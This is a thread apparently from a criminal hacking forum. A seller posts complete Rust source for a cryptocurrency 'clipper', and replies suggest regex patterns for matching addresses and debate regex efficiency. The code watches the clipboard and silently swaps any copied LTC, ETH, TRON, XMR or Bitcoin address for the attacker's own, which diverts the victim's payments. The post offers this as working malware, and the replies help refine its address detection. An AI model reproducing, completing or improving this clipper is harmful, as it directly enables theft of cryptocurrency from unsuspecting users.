• XSS.stack #1 – первый литературный журнал от юзеров форума

cross platform rust clipper

swwwheart

Its nice to be nice
Seller
Регистрация
23.03.2024
Сообщения
155
Реакции
75
Гарант сделки
5
Депозит
3.0453 Ł
Below is a simple clipper I built to try out the rust programming language. Supports ltc,eth,tron,xmr and multiple types of btc addresses. Might contain bugs since I have not tested it much.

Код:
use core::str;
use arboard::Clipboard;
use std::collections::HashMap;
use std::time::Duration;
use std::thread;

fn is_xmr_address(address: &str) -> bool {
    if address.len() != 95 {
        return false;
    }

    if !has_prefix(address, "4") && !has_prefix(address, "8") {
        return false;
    }

    return is_base58(address)
}

fn is_btc_p2pkh_address(address: &str) -> bool {

    if address.len() < 26 || address.len() > 34 {
        return false;
    }

    if !has_prefix(address, "1") {
        return false;
    }

   return is_base58(address)
}

fn is_btc_p2sh_address(address: &str) -> bool {
    if address.len() != 34 {
        return false;
    }

    if !has_prefix(address, "3") {
        return false;
    }

    return is_base58(address)
}

fn is_btc_p2wpkh_address(address: &str) -> bool {
     if address.len() != 42 {
        return false;
     }

     if !has_prefix(address, "bc1q") {
        return false;
     }

    return is_alphanumeric(address)
}

fn is_btc_p2wsh_address(address: &str) -> bool {
    if address.len() != 62 {
        return false;
    }

    if !has_prefix(address, "bc1q") {
        return false;
    }

    return is_alphanumeric(address)
}

fn is_btc_p2tr_address(address: &str) -> bool {

    if address.len() != 62 {
        return false;
    }

    if !has_prefix(address, "bc1p") {
        return false;
    }

    return is_base58(address)
}

fn is_tron_address(address: &str) -> bool {
    if address.len() != 34 {
        return false;
    }

    if !has_prefix(address, "T") {
        return false;
    }

    return is_base58(address);
}



fn is_eth_address(address: &str) -> bool {
    if address.len() != 42 {
        return false;
    }

    if !has_prefix(address, "0x") {
        return false;
    }

    let hex_section = &address[2..];
    return is_hexidecimal(hex_section)
}

fn is_ltc_address(address: &str) -> bool {
    if address.len() != 43 {
        return false;
    }

    if !has_prefix(address, "ltc1") {
        return false;
    }

    return is_alphanumeric(address)
}


fn is_base58(encoded_string: &str) -> bool {
    let char_set = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
    for c in encoded_string.chars() {
        if !char_set.contains(c) {
            return false;
        }
    }
    return true;
}

fn is_alphanumeric(encoded_string: &str) -> bool {
    let char_set = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
    for c in encoded_string.chars() {
        if !char_set.contains(c) {
            return false;
        }
    }
    return true;
}

fn is_hexidecimal(encoded_string: &str) -> bool {
    let char_set = "0123456789abcdefABCDEF";
    for c in encoded_string.chars() {
        if !char_set.contains(c) {
            return false;
        }
    }
    return true;
}

fn has_prefix(base_string:&str, prefix:&str) -> bool {
    if prefix.len() > base_string.len() {
        return false;
    }
    let prefix_len = prefix.len();
    return prefix.as_bytes()[0..prefix_len] == base_string.as_bytes()[0..prefix_len];
}


fn main() {
    let mut available_addresses: HashMap<String, String> = HashMap::new();
    available_addresses.insert("ltc".to_string(), "replaced".to_string());
    available_addresses.insert("eth".to_string(), "replaced".to_string());
    available_addresses.insert("tron".to_string(), "replaced".to_string());
    available_addresses.insert("xmr".to_string(), "replaced".to_string());
    available_addresses.insert("btc_p2pkh".to_string(), "replaced".to_string());
    available_addresses.insert("btc_p2sh".to_string(), "replaced".to_string());
    available_addresses.insert("btc_p2wpkh".to_string(),"replaced".to_string());
    available_addresses.insert("btc_p2wsh".to_string(), "replaced".to_string());
    available_addresses.insert("btc_p2tr".to_string(),"replaced".to_string());

    let mut clipboard = Clipboard::new().unwrap();
    loop {

        match clipboard.get_text() {
            Ok(result) => {
                if result.len() < 100 {
                    if is_ltc_address(&result) {
                        clipboard.set_text(available_addresses["ltc"].clone()).unwrap();
                    } else if is_xmr_address(&result) {
                        clipboard.set_text(available_addresses["xmr"].clone()).unwrap();
                    } else if is_tron_address(&result) {
                        clipboard.set_text(available_addresses["tron"].clone()).unwrap();
                    } else if is_eth_address(&result) {
                        clipboard.set_text(available_addresses["eth"].clone()).unwrap();
                    } else if is_btc_p2pkh_address(&result) {
                        clipboard.set_text(available_addresses["btc_p2pkh"].clone()).unwrap();
                    } else if is_btc_p2sh_address(&result) {
                        clipboard.set_text(available_addresses["btc_p2sh"].clone()).unwrap();
                    } else if is_btc_p2wpkh_address(&result) {
                        clipboard.set_text(available_addresses["btc_p2wpkh"].clone()).unwrap();
                    } else if is_btc_p2wsh_address(&result) {
                        clipboard.set_text(available_addresses["btc_p2wsh"].clone()).unwrap();
                    } else if is_btc_p2tr_address(&result) {
                        clipboard.set_text(available_addresses["btc_p2tr"].clone()).unwrap();
                    }
                }
            }
            Err(_result) => {
                continue;
            }
        }
        thread::sleep(Duration::from_millis(500))
    }
}
 
+
You can always use a HashMap to maintain regex. You just have to write the patterns once and forget once it fits the formal spec.

For example, something like this:
Tron: r"^T[123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{33}$"
LTC segwit depending on P2WPKH or P2WSH: r"^ltc1[0-9a-zA-Z]{39,59}$"
standard XMR address but not for subaddress or integrated: r"^4[123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{94}$"
eth: r"^0x[0-9a-fA-F]{40}$"
 
+
You can always use a HashMap to maintain regex. You just have to write the patterns once and forget once it fits the formal spec.

For example, something like this:
Tron: r"^T[123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{33}$"
LTC segwit depending on P2WPKH or P2WSH: r"^ltc1[0-9a-zA-Z]{39,59}$"
standard XMR address but not for subaddress or integrated: r"^4[123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{94}$"
eth: r"^0x[0-9a-fA-F]{40}$"
I thought about this but regex is computationally pretty expensive so decided to just go with test functions. Thank you for the examples, I will consider it in the future.
 
1. The major asshole of inefficiency is backtracking. When you flood the regex engine with optional paths or quantifiers (*, +, {m,n}), this is the path exploding problem. Exponential time complexity in the worst case.
For example: ^(a+)*$, try to match a long string without 'a'. The engine will backtrack extensively trying every possible combination of a+ before fails.
you can always instead be more specific, possessive quantifiers, or atomic groups.

2. Nesting like a maniac, this is also related to first point. Regular languages (in formal sense) can't handle arbitrary nesting, but real world regex engines like PCRE do.

3. Regex engine implementation itself: DFA vs NFA
I will not even go into the details of this, this is more into the realms of theory of computation (read Michael Sipser's book if you are interested), but in essence:
generally, DFAs can provide more predictable linear time complexity in certain cases but are less expressive than NFAs.

4. Input size

5. Backreferences: which is nothing but referring to a previously captured group within the same regex will explode exponentially.

6. Lookahead and lookbehind asserts


images.png



Bro, don't waste time studying regex, there is no practical advantage unless if you are interested in computability theory. Don't waste your life. Regex is pointless. Use Rust but it's a fun discussion.)

Now regarding compute, let's check each:
1. Tron: r"^T[123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{33}$"
3. standard XMR address but not for subaddress or integrated: r"^4[123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{94}$"
4. eth: r"^0x[0-9a-fA-F]{40}$"
Fixed length and/or fixed prefix, no backtracking elements, simple character matching.

2. LTC segwit depending on P2WPKH or P2WSH: r"^ltc1[0-9a-zA-Z]{39,59}$"
Fixed prefix, mostly simple char matching but you could argue that there is a variable length component {39, 59}. The range is still limited.
This one has some compute expense but still.

A good regex engine should be comparable to Rust for 1,3,4 even with optimization flags but not 2.


Edit:
Sorry I couldn't resist.) One more
programmerhumor-io-programming-memes-efcf2c763af5244-608x419.png


Anyway the topic went off track. The person wrote the clipper for the forum and people here are going off track. Sorry.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх